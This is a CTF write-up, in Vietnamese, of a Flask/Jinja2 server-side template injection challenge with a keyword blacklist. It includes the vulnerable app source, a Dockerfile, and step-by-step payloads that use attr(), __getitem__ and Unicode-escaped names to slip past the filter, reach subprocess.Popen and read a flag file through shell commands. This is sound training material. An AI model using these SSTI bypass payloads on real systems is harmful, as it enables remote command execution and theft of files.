# WEB: thru the filter
> http://34.124.244.195:1338
:::spoiler `app.py`
```python=
from flask import Flask, request, render_template_string,redirect
app = Flask(__name__)
def check_payload(payload):
blacklist = ['import', 'request', 'init', '_', 'b', 'lipsum', 'os', 'globals', 'popen', 'mro', 'cycler', 'joiner', 'u','x','g','args', 'get_flashed_messages', 'base', '[',']','builtins', 'namespace', 'self', 'url_for', 'getitem','.','eval','update','config','read','dict']
for bl in blacklist:
if bl in payload:
return True
return False
@app.route("/")
def home():
if request.args.get('c'):
ssti=request.args.get('c')
print(ssti)
if(check_payload(ssti)):
return "HOLD UP !!!"
else:
return render_template_string(request.args.get('c'))
else:
return redirect("""/?c={{ 7*7 }}""")
if __name__ == "__main__":
app.run()
```
:::
:::spoiler `Dockerfile`
```dockerfile=
FROM python:3.10-slim-bullseye
LABEL auther_template="khanhhnahk1"
RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && \
sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update
# install flask
RUN python3 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple \
flask
# Copy the source code and startup script to the root directory
COPY ./src/ /app
COPY ./service/docker-entrypoint.sh /
# expose port
EXPOSE 8080
RUN groupadd -r thru_the_filter && useradd -r -g thru_the_filter thru_the_filter
RUN echo "ISITDTU{test_flag}"> /app/flag.txt
RUN chmod 440 /app/flag.txt
RUN chown -R root:thru_the_filter /app
USER thru_the_filter
WORKDIR /app
ENTRYPOINT ["/bin/bash","/docker-entrypoint.sh"]
```
:::
> 
Có thể thấy đây là lỗi SSTI khá rõ ràng. Ta cần tìm cách bypass filter để có thể đọc flag từ file `/app/flag.txt`
Ý tưởng của mình là sẽ sử dụng [popen](https://docs.python.org/3/library/subprocess.html) chạy lệnh cat để đọc flag.
Đây là payload cơ bản của mình
```python
{{ ''.__class__.__mro__[1].__subclasses__() }}
```
Vì payload có các kí tự nằm trong blacklist nên cần chỉnh sửa để có thể hoạt động
- Thay `.` attribute với `attr()`

- Thay `[i]` item với `.__getitem__(i)`
- Thay `_` bằng cách encode. Đề chỉ filter `u` nên có thể sử dụng `\U` với 8 số. Ngoài ra có thể sử dụng Oct.
</br>Payload sau khi thay thế
```python
#{{ ''.__class__.__mro__[1].__subclasses__() }}
{{''|attr('\U0000005f\U0000005f\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U0000006d\U00000072\U0000006f\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U00000067\U00000065\U00000074\U00000069\U00000074\U00000065\U0000006d\U0000005f\U0000005f')(1)|attr('\U0000005f\U0000005f\U00000073\U00000075\U00000062\U00000063\U0000006c\U00000061\U00000073\U00000073\U00000065\U00000073\U0000005f\U0000005f')()}}
```
Khi chạy web sẽ return nhiều subclasses khác nhau. Và mình tìm thấy `<class 'subprocess.Popen'>` ở vị trí 367 trong list nên sẽ truy cập đến item thứ 367 để xài popen
```python
{{ ''.__class__.__mro__[1].__subclasses__()[367]("cat /app/flag.txt", shell=1, stdout=-1).communicate() }}
```
Vì `stdout` có chữ `u` nên dính blacklist. Để thay thế, có thể sử dụng `stderr` rồi redirect stdoutput sang stderror là có thể đọc file
```python
#{{ ''.__class__.__mro__[1].__subclasses__()[367]("cat /app/flag.txt 2>&1", shell=1, stderr=-1).communicate() }}
{{''|attr('\U0000005f\U0000005f\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U0000006d\U00000072\U0000006f\U0000005f\U0000005f')|attr('\U0000005f\U0000005f\U00000067\U00000065\U00000074\U00000069\U00000074\U00000065\U0000006d\U0000005f\U0000005f')(1)|attr('\U0000005f\U0000005f\U00000073\U00000075\U00000062\U00000063\U0000006c\U00000061\U00000073\U00000073\U00000065\U00000073\U0000005f\U0000005f')()|attr('\U0000005f\U0000005f\U00000067\U00000065\U00000074\U00000069\U00000074\U00000065\U0000006d\U0000005f\U0000005f')(367)('cat+"/app/\U00000066\U0000006c\U00000061\U00000067\U0000002e\U00000074\U00000078\U00000074"+1>%262',shell=1,stderr=-1)|attr('\U00000063\U0000006f\U0000006d\U0000006d\U00000075\U0000006e\U00000069\U00000063\U00000061\U00000074\U00000065')()}}
#-----------------------#
#Return output:
(None, b'ISITDTU{tough_times_create_tough_guys!@@%#0@}\n')
```
Thay vì ghi cả tên parameter thì ta có thể điền hết theo thứ tự...
*Solve được có 1 bài thui :(*